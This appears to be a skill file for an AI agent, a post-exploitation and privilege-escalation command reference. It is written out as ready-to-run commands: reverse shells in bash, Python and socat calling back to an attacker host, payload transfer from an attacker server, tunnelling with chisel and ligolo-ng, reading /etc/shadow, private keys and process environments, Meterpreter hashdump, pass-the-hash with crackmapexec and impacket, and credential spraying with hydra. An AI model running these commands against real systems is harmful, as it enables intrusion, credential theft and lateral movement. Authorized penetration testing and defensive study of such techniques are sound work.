pentest-post-exploit

name	pentest-post-exploit
description	Post-exploitation and privilege escalation tool reference. Covers proxychains4 (pivoting), smbclient (file access), socat/netcat (relays), and on-demand tools (linpeas, chisel, ligolo-ng, pspy, mimikatz concepts). Use after gaining initial access to escalate privileges and move laterally.
version	2.0.0
triggers	["post-exploit","privilege escalation","privesc","lateral movement","pivoting","proxychains","linpeas","chisel","SUID","persistence"]

Post-Exploitation & Privilege Escalation — Tool Reference

---

Pivoting with Proxychains4

# Config: /etc/proxychains4.conf
# Add SOCKS proxy at bottom:
# socks5 127.0.0.1 1080

# Run any tool through proxy chain
proxychains4 nmap -sT -Pn -p 80,443,445 <internal_target>
proxychains4 curl http://<internal_target>
proxychains4 ssh user@<internal_target>

# Dynamic port forwarding via SSH (creates SOCKS proxy)
ssh -D 1080 -N -f user@<pivot_host>
# Then use proxychains4 to route through it

---

SMBClient — File Access

# List shares
smbclient -L //<target>/ -N
smbclient -L //<target>/ -U <user>%<password>

# Connect to share
smbclient //<target>/<share> -U <user>%<password>

# Anonymous access
smbclient //<target>/<share> -N

# Download files (inside smbclient)
# smb: \> get <filename>
# smb: \> mget *
# smb: \> recurse ON; prompt OFF; mget *

# One-liner download
smbclient //<target>/<share> -U <user>%<password> -c "get <file> /tmp/loot"

---

Netcat — Reverse/Bind Shells

# Listen for reverse shell
nc -nlvp 4444

# Connect to bind shell
nc -nv <target> 4444

# Reverse shell one-liners (run on target):
# Bash
bash -i >& /dev/tcp/<attacker>/4444 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<attacker>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# File transfer
# Receiver: nc -nlvp 9999 > received_file
# Sender:   nc -nv <target> 9999 < file_to_send

---

Socat — Advanced Relay

# Reverse shell listener (with TTY)
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Reverse shell (on target)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker>:4444

# Port forwarding
socat tcp-listen:8080,fork tcp:<target>:80

# Encrypted channel
socat openssl-listen:4444,cert=server.pem,verify=0 -
socat - openssl:<attacker>:4444,verify=0

# UDP relay
socat udp-listen:53,fork udp:<dns_server>:53

---

SSH Tunneling

# Local port forward (access remote service via local port)
ssh -L 8080:<internal_target>:80 user@<pivot_host>
# Now access http://127.0.0.1:8080

# Remote port forward (expose local service to remote)
ssh -R 9090:127.0.0.1:80 user@<remote_host>

# Dynamic SOCKS proxy
ssh -D 1080 -N -f user@<pivot_host>

# Port forward chain
ssh -L 8080:127.0.0.1:8080 -J user@<jump_host> user@<target>

---

On-Demand Post-Exploit Tools

LinPEAS / WinPEAS — Privilege Escalation Enumeration

# Download LinPEAS (run on compromised Linux host)
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas_output.txt

# Transfer to target via Python HTTP server
python3 -m http.server 8000    # On attacker (Spectre)
# On target: wget http://172.30.0.10:8000/linpeas.sh

# WinPEAS (for Windows targets)
# Download: winPEASx64.exe from same PEASS-ng releases

Chisel — TCP Tunnel / SOCKS Proxy

# Install on Spectre:
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz && chmod +x chisel_linux_amd64
mv chisel_linux_amd64 /usr/local/bin/chisel

# Server mode (on Spectre)
chisel server --reverse --port 8888

# Client mode (on compromised target)
chisel client <spectre_ip>:8888 R:socks

# Then use proxychains4 with socks5 127.0.0.1:1080

Ligolo-ng — Advanced Tunneling

# Download from: https://github.com/nicocha30/ligolo-ng/releases
# Proxy (on Spectre): ligolo-proxy -selfcert
# Agent (on target):  ligolo-agent -connect <spectre>:11601 -ignore-cert

# Add route for internal network
# In ligolo: session → ifconfig → start
# sudo ip route add <internal_subnet>/24 dev ligolo

pspy — Process Snooping (No Root Needed)

# Download: https://github.com/DominicBreuker/pspy/releases
# Transfer to target and run:
./pspy64
# Monitors processes, cron jobs, scheduled tasks without root

---

Linux Privilege Escalation Checklist

Run these checks after gaining initial shell access:

# Current user and groups
id && whoami && groups

# Sudo permissions
sudo -l

# SUID binaries (potential privesc)
find / -perm -4000 -type f 2>/dev/null

# Writable files in sensitive locations
find /etc -writable -type f 2>/dev/null
find /var -writable -type f 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l

# Running processes
ps aux --forest

# Kernel version (check for kernel exploits)
uname -a
cat /etc/os-release

# Network connections
ss -tulnp
netstat -tulnp 2>/dev/null

# Interesting files
find / -name "*.conf" -o -name "*.config" -o -name "*.bak" -o -name "*.old" 2>/dev/null | head -50
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

# Environment variables (may contain passwords)
env
cat /proc/*/environ 2>/dev/null | tr '\0' '\n'

# Password files
cat /etc/passwd
cat /etc/shadow 2>/dev/null

# Docker/container escape
ls -la /var/run/docker.sock 2>/dev/null
cat /proc/1/cgroup 2>/dev/null

---

Windows Post-Exploitation Checklist

# From Meterpreter session:
getuid
sysinfo
getsystem
hashdump
run post/multi/recon/local_exploit_suggester

# Or via shell:
whoami /all
net user
net localgroup administrators
systeminfo
ipconfig /all
netstat -ano
tasklist /v
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
dir /s /b C:\Users\*.txt C:\Users\*.doc C:\Users\*.pdf 2>nul

---

Lateral Movement Patterns

Pass the Hash

# CrackMapExec (install: apt-get install -y crackmapexec)
crackmapexec smb <targets> -u admin -H '<ntlm_hash>' --shares
crackmapexec smb <targets> -u admin -H '<ntlm_hash>' -x 'whoami'

# Impacket (install: pip3 install impacket)
impacket-psexec -hashes :<ntlm_hash> admin@<target>
impacket-wmiexec -hashes :<ntlm_hash> admin@<target>

Credential Reuse

# Test found credentials against other hosts
crackmapexec smb <range>/24 -u <found_user> -p '<found_pass>'
hydra -l <found_user> -p '<found_pass>' ssh://<other_targets>

---

Tool Selection Guide

Situation	Best Tool
Pivot to internal network	chisel or ssh -D + proxychains4
Linux privesc enumeration	linpeas.sh
Windows privesc enumeration	winPEAS or post/multi/recon/local_exploit_suggester
Reverse shell listener	nc -nlvp 4444 or socat
File transfer to target	python3 -m http.server + wget/curl
Access SMB shares	smbclient
Monitor processes without root	pspy
Pass the hash attacks	crackmapexec or impacket-psexec
Advanced tunneling	ligolo-ng (best) or chisel